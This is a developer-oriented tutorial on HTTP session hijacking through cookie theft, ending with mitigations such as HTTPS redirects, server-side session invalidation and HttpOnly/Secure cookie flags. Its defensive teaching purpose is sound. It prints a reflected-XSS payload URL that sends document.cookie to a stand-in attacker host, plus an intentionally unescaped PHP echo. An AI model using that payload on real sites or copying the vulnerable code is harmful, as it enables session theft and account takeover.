As a programmer, you will often work with user sessions. A user session is a randomly generated alphanumeric value that identifies the user on the server. In most applications, the user session is stored in a cookie for reuse as the user makes calls back to the server in the application. A session cookie is sent along with your user’s web requests to identify them on every authenticated call, including financial transactions or any other transfer of sensitive information. As a developer, you must take necessary steps to protect session IDs and the cookies that contain session values.
The browser and application server determine when the session ends, but an application can use session restoring to keep cookies persistent indefinitely. When a user deauthenticates, however, it’s important for developers to destroy the session on the server instead of relying on the session to expire. It’s this process that many developers leave open to vulnerabilities in an effort to make the authentication process more convenient for their users. Developers instead should generate new session IDs after several user actions such as authentication (or re-authentication), before important functions (e.g., withdrawing or transferring money) and after the user logs out.
Because a session cookie identifies a user, it’s important to keep this session ID and the session cookie protected from theft and incorporate session hijacking mitigation in your code. Should an attacker gain access to a user session ID, the attacker can identify themselves as the user and perform transactions on the application as the user. As you can probably imagine, this could be devastating for a user who would have no idea that their account is compromised and could not stop it from happening.
What Exactly is a Web Session?
Before going into the details of the attack, the first step is understanding web sessions.
For every request the browser sends to your web application, a session cookie is sent with the request to identify the user. Below is an example server response to set a cookie after authentication:
HTTP/2.0 200 OK Content-Type: text/html Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain>; Secure; HttpOnly
When you authenticate into a web application, you’re given a session cookie to identify every call to the application with an expiration date and time. Notice that the HttpOnly cookie attribute is also set, which is one way to stop session hijacking from cross-site scripting, which we’ll cover soon. Every time the user makes a request to the application, this cookie is sent with the request.
What is a Session Hijacking Attack?
There are two types of session hijacking methods used in this attack:
- TCP session hijacking at the network level
- HTTP session hijacking at the application layer
This article covers the second type, because it’s primarily the responsibility of the developer to ensure that the session cookie is safe in the application layer. The first session attack involves man-in-the-middle (MitM) attacks, which puts some responsibility on the user (although some server and application security issues can contribute to the attack).
Because cookies are sent with every authenticated request, TCP hijacking is a concern if you do not have SSL/TLS certificates installed on your servers. Insecure Wi-Fi, malicious Wi-Fi hotspots, or a malicious user on the local network could intercept data with tools such as WireShark (among others) and obtain cookie session values when no encryption is used to transfer the cookie from the user browser to the server.
An application layer attack primarily works with vulnerable GET requests. Using cross-site scripting and phishing emails, an attacker could trick a user into divulging their session cookie. With this cookie in hand, the attacker can then perform actions on the application in the context of the user’s session. The final stage after the cookie is stolen is called session fixation. The way an attacker would perform this attack depends on the target application, but any POST or GET request that uses only the session ID to verify the user would be vulnerable to session fixation.
How Session Hijacking Works
Since a session identifies a user, if an application only uses a session ID to identify a user, an attacker can use just this session ID to perform actions on behalf of the user. Most applications store a session ID in a cookie, so attackers go after this cookie. The cookie is sent with every application request, so it can be done using a man-in-the-middle (if no encryption is used) or using malicious code.
Some developers use their own custom session IDs using random number generators without cryptographic entropy. If you don’t use language functions specific for cryptographically secure randomness, the session could be predictable. You can read more about how XOR functions produce predictable results and view the Python script proof-of-concept. If you create your own session IDs, always use cryptographic functions included in most web applications.
The most common way (outside of TCP traffic sniffing) is using reflected cross-site scripting (XSS). In reflected XSS, an attacker sends a user a link to a vulnerable web application with a URL containing the payload. If the web application does not validate query string input from a GET request, it could be vulnerable to this type of attack.
Session Hijacking Techniques
Let’s use an example scenario to explain how an attacker might carry out successful session hijacking. First, the attacker determines if your web application is vulnerable to reflected XSS by crafting their own scripts and seeing results in their own browser. Once they determine the application is vulnerable, the attacker might perform reconnaissance to find specific users to target (e.g., employees) or they might send the malicious URL to your customers.
The phishing email might contain a URL like the following:
yoursite.com/?name=<script>window.open(“attacker_site.com?session_cookie=” + document.cookie);</script>
Notice that the URL has a query string variable named “name” and could be used in the application to display a user’s name in their browser. If the GET request variables in the application are not validated and reflected XSS is not detected in the code, the application is vulnerable to this type of attack.
Let’s say the application is written in PHP. Here is vulnerable code that would allow a session hijacking attack to work:
<?php echo 'Hello ' . $_GET["name"] . '!'; ?>
When the targeted user clicks the URL, the application prints the script statement to the browser. The window.open() function executes and opens the attacker’s domain with the session cookie added to the query string. The attacker programs their page to retrieve the session cookie, and at this point the user’s session is compromised.
With the session cookie in hand, the attacker can now send requests along with the session cookie to perform actions with the targeted victim’s account. If the application only uses the session ID and nothing else to verify the user’s identity, the attacker can perform any action available in the application.
How to Mitigate Session Hijacking and Stop Cookie Theft
Because session hijacking is invisible to the user, it’s the responsibility of the application developer to ensure that cookies are safe. Users should also be suspicious of any links included in an email, but the application code should validate all GET request variables before performing actions. Here are a few ways application developers can help protect user sessions and cookies.
301 Redirect from HTTP to HTTPS
The application should 301 redirect any HTTP requests to HTTPS. This can be done using server settings or using detection and redirection in the application. Users should also be aware of any HTTP requests, but you should not just rely on users to detect unencrypted connections. The application should redirect users in case they don’t notice.
Invalidate Sessions on the Server Not Just Client-Side When the User Logs Out
When a user logs out and re-authenticates, always invalidate the associated session IDs. It’s common for software developers to invalidate sessions in client-side code but leave sessions valid on the server. In this case, the user would be unable to deauthenticate an attacker if the session cookie is stolen. An attacker would be able to perform actions as the targeted victim, and there would be nothing the user could do to stop it.
Ask Users to Re-Authenticate for Sensitive Functions
A new session should always be generated after authentication, but this strategy alone does not stop session theft. Should an attacker gain access to session cookies, critical functions are at risk. For example, if a session is used to validate a user so that they can withdraw money, the attacker could steal funds. Before allowing any critical functions to continue, ask the user to re-authenticate and assign a new session cookie to the user’s session.
Use HttpOnly with Session Cookies
In the JavaScript code example, client-side code was used with reflected XSS to trigger JavaScript into opening a new window that takes the session cookie and sends it to the attacker. When HttpOnly is used to create the cookie, only server-side requests can access the cookie. JavaScript cannot access HttpOnly assigned cookies. You can also use the Secure cookie flag so that the cookie only transfers using an HTTPS connection, which stops them from being stolen in a man-in-the-middle attack.
Install Antivirus and Anti-Malware Applications on User Devices
For corporate devices, always have antivirus software and anti-malware installed on their devices. It’s not only necessary to stop malware from changing the browser settings and sending automated requests that could be used to send session cookies to an attacker, but it’s also necessary for compliance. Individuals should also have antivirus software, but stolen session cookies could give attackers employee-level privileges to an internal application available on the web.